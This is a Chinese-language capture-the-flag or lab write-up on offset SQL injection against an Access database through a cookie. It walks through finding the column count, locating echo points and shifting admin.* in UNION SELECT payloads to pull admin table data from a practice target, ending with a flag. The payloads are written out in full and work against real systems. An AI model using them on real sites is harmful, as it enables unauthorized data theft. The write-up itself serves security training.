Access注入–偏移注入
适用场景:
当使用select * from admin
与select admin.* from admin
等价时,就可以在不知道字段名的情况下获取数据。
union select 1,2,3,admin.* ,4,5,6 from admin
通过偏移admin.*的位置来获得不同字段的数据,这时就不需要知道字段名了。
靶场
该处的sql注入为access数据库-cookie注入的漏洞点。
偏移注入的漏洞点在:
由于admin表里新增了一个字段,无法通过爆破得出,所以在此处我们使用偏移注入。
判断列数
通过order by 判断出有26个字段
并且也是cookie注入,在url不允许传入非法字符。
判断回显点:
document.cookie=‘id=’+escape(“105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin”)
此处明显的回显点是3,5,7,但是通过查看页面源代码发现还要25的回显点。
所以回显点一共是3,5,7,25。
然后判断admin.*的列数。
url:http://59.63.200.79:8004/ProductShow.asp?
document.cookie=‘id=’+escape(“105 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin.* from admin”)
页面不正常:
document.cookie=‘id=’+escape(“105 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin”)
页面正常,可以判断admin表有16个字段。
document.cookie=‘id=’+escape(“105 and 1=2 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin”):获得最后admin表最后一个字段的数据,因为25是回显点。
得到flag。zkaq{f0e12dafb6}